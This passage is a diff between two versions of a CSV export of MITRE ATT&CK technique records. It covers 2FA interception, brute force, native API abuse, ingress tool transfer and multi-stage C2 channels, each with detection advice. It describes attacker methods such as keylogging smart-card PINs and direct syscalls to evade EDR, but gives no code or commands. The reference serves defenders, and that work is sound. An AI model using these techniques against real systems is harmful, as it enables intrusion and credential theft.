'Operation Emmental', 'description': 'Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.', 'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf'}]",1.1,attack-pattern,attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:23.195Z,2020-03-25T20:35:21.672Z,Two-Factor Authentication Interception,"Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011) Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011) -Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)",attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49,attack-pattern,['credential-access'],2020-03-25T20:35:21.672Z,2017-05-31T21:31:23.195Z,"Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. - -Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.","['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution']","['John Lambert, Microsoft Threat Intelligence Center']",,"['Administrator', 'SYSTEM']","['Linux', 'Windows', 'macOS']",,,,"['Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.']",,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1110', 'url': 'https://attack.mitre.org/techniques/T1110'}, {'external_id': 'CAPEC-49', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/49.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",2.2,False,https://attack.mitre.org/techniques/T1110,mitre-attack,T1110,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Brute Force,"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.",attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd,attack-pattern,['credential-access'],2021-04-14T12:04:36.243Z,2017-05-31T21:31:22.767Z,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.","['User Account: User Account Authentication', 'Application Log: Application Log Content']","['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Yossi Weizman, Azure Defender Research Team', 'Ed Williams, Trustwave, SpiderLabs']",,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-49,https://capec.mitre.org/data/definitions/49.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1108', 'url': 'https://attack.mitre.org/techniques/T1108'}, {'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'source_name': 'Mandiant APT1'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",3.1,False,https://attack.mitre.org/techniques/T1108,mitre-attack,T1108,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Redundant Access,"**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.** - -Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. - -If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications. - -Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.",attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a,attack-pattern,"['defense-evasion', 'persistence']",2021-03-08T10:33:00.985Z,2017-05-31T21:31:18.867Z,"Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost. - -Detection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators. +Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)",['credential-access'],https://attack.mitre.org/techniques/T1111,mitre-attack,T1111,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['John Lambert, Microsoft Threat Intelligence Center']","['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution']",,"Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. -If an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation. +Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.",False,"['Administrator', 'SYSTEM']","['Linux', 'Windows', 'macOS']",,,,"['Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.']",,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1110', 'external_id': 'T1110'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/49.html', 'external_id': 'CAPEC-49'}]",2.3,attack-pattern,attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:22.767Z,2021-09-30T19:18:16.672Z,Brute Force,"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. -For alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.",,['Praetorian'],"['Network intrusion detection system', 'Anti-virus']","['User', 'Administrator', 'SYSTEM']","['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS']",,,,,,,,True,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1106', 'url': 'https://attack.mitre.org/techniques/T1106'}, {'source_name': 'NT API Windows', 'url': 'https://undocumented.ntinternals.net/', 'description': 'The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.'}, {'source_name': 'Linux Kernel API', 'url': 'https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html', 'description': 'Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.'}, {'url': 'http://msdn.microsoft.com/en-us/library/ms682425', 'description': 'Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.', 'source_name': 'Microsoft CreateProcess'}, {'source_name': 'GNU Fork', 'url': 'https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html', 'description': 'Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.'}, {'source_name': 'Microsoft Win32', 'url': 'https://docs.microsoft.com/en-us/windows/win32/api/', 'description': 'Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.'}, {'source_name': 'LIBC', 'url': 'https://man7.org/linux/man-pages//man7/libc.7.html', 'description': 'Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020.'}, {'source_name': 'GLIBC', 'url': 'https://www.gnu.org/software/libc/', 'description': 'glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.'}, {'source_name': 'Microsoft NET', 'url': 'https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework', 'description': 'Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.'}, {'source_name': 'Apple Core Services', 'url': 'https://developer.apple.com/documentation/coreservices', 'description': 'Apple. (n.d.). Core Services. Retrieved June 25, 2020.'}, {'source_name': 'MACOS Cocoa', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1', 'description': 'Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.'}, {'source_name': 'macOS Foundation', 'url': 'https://developer.apple.com/documentation/foundation', 'description': 'Apple. (n.d.). Foundation. Retrieved July 1, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",2.0,False,https://attack.mitre.org/techniques/T1106,mitre-attack,T1106,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Native API,"Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. +Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.",['credential-access'],https://attack.mitre.org/techniques/T1110,mitre-attack,T1110,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Yossi Weizman, Azure Defender Research Team', 'Ed Williams, Trustwave, SpiderLabs']","['Command: Command Execution', 'User Account: User Account Authentication', 'Application Log: Application Log Content']",,"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.",False,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers']",,CAPEC-49,https://capec.mitre.org/data/definitions/49.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1106', 'external_id': 'T1106'}, {'source_name': 'NT API Windows', 'description': 'The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.', 'url': 'https://undocumented.ntinternals.net/'}, {'source_name': 'Linux Kernel API', 'description': 'Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.', 'url': 'https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html'}, {'source_name': 'OutFlank System Calls', 'description': 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.', 'url': 'https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/'}, {'source_name': 'CyberBit System Calls', 'description': 'Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.', 'url': 'https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/'}, {'source_name': 'MDSec System Calls', 'description': 'MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.', 'url': 'https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/'}, {'source_name': 'Microsoft CreateProcess', 'description': 'Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/ms682425'}, {'source_name': 'GNU Fork', 'description': 'Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.', 'url': 'https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html'}, {'source_name': 'Microsoft Win32', 'description': 'Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/api/'}, {'source_name': 'LIBC', 'description': 'Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020.', 'url': 'https://man7.org/linux/man-pages//man7/libc.7.html'}, {'source_name': 'GLIBC', 'description': 'glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.', 'url': 'https://www.gnu.org/software/libc/'}, {'source_name': 'Microsoft NET', 'description': 'Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.', 'url': 'https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework'}, {'source_name': 'Apple Core Services', 'description': 'Apple. (n.d.). Core Services. Retrieved June 25, 2020.', 'url': 'https://developer.apple.com/documentation/coreservices'}, {'source_name': 'MACOS Cocoa', 'description': 'Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1'}, {'source_name': 'macOS Foundation', 'description': 'Apple. (n.d.). Foundation. Retrieved July 1, 2020.', 'url': 'https://developer.apple.com/documentation/foundation'}]",2.1,attack-pattern,attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:17.472Z,2021-10-18T21:24:30.764Z,Native API,"Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. -Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC) +Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation) -Adversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.",attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670,attack-pattern,['execution'],2020-07-01T16:19:54.646Z,2017-05-31T21:31:17.472Z,"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. +Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).",['execution'],https://attack.mitre.org/techniques/T1106,mitre-attack,T1106,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Gordon Long, Box, Inc., @ethicalhax', 'Stefan Kanthak']","['Process: OS API Execution', 'Module: Module Load']",,"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. -Utilization of the Windows API may involve processes loading/accessing system DLLs associated with providing called functions (ex: kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ","['Process: OS API Execution', 'Module: Module Load']",['Stefan Kanthak'],,['User'],"['Windows', 'macOS', 'Linux']",False,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1105', 'url': 'https://attack.mitre.org/techniques/T1105'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",2.0,False,https://attack.mitre.org/techniques/T1105,mitre-attack,T1105,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Ingress Tool Transfer,"Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.",attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add,attack-pattern,['command-and-control'],2020-03-20T15:42:48.595Z,2017-05-31T21:31:16.408Z,"Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. +Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ",False,['User'],"['Windows', 'macOS', 'Linux']",False,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1105', 'external_id': 'T1105'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",2.0,attack-pattern,attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:16.408Z,2020-03-20T15:42:48.595Z,Ingress Tool Transfer,"Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.",['command-and-control'],https://attack.mitre.org/techniques/T1105,mitre-attack,T1105,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation']",,"Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. -Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation']",,,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1104', 'external_id': 'T1104'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,False,https://attack.mitre.org/techniques/T1104,mitre-attack,T1104,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Multi-Stage Channels,"Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",False,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1104', 'external_id': 'T1104'}]",1.0,attack-pattern,attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:15.935Z,2020-07-14T19:43:38.181Z,Multi-Stage Channels,"Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. -The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.",attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91,attack-pattern,['command-and-control'],2020-07-14T19:43:38.181Z,2017-05-31T21:31:15.935Z,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1102', 'url': 'https://attack.mitre.org/techniques/T1102'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.1,False,https://attack.mitre.org/techniques/T1102,mitre-attack,T1102,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Web Service,"Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. +The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.",['command-and-control'],https://attack.mitre.org/techniques/T1104,mitre-attack,T1104,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.,False,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1102', 'external_id': 'T1102'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.1,attack-pattern,attack-pattern--830c9528-df21-472c-8c14-a036bf17d665,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:31:13.915Z,2020-03-26T23:26:10.297Z,Web Service,"Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. -Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",attack-pattern--830c9528-df21-472c-8c14-a036bf17d665,attack-pattern,['command-and-control'],2020-03-26T23:26:10.297Z,2017-05-31T21:31:13.915Z,"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",['Anastasios Pingios'],,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1098', 'url': 'https://attack.mitre.org/techniques/T1098'}, {'source_name': 'Microsoft User Modified Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738'}, {'description': 'Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.', 'url': 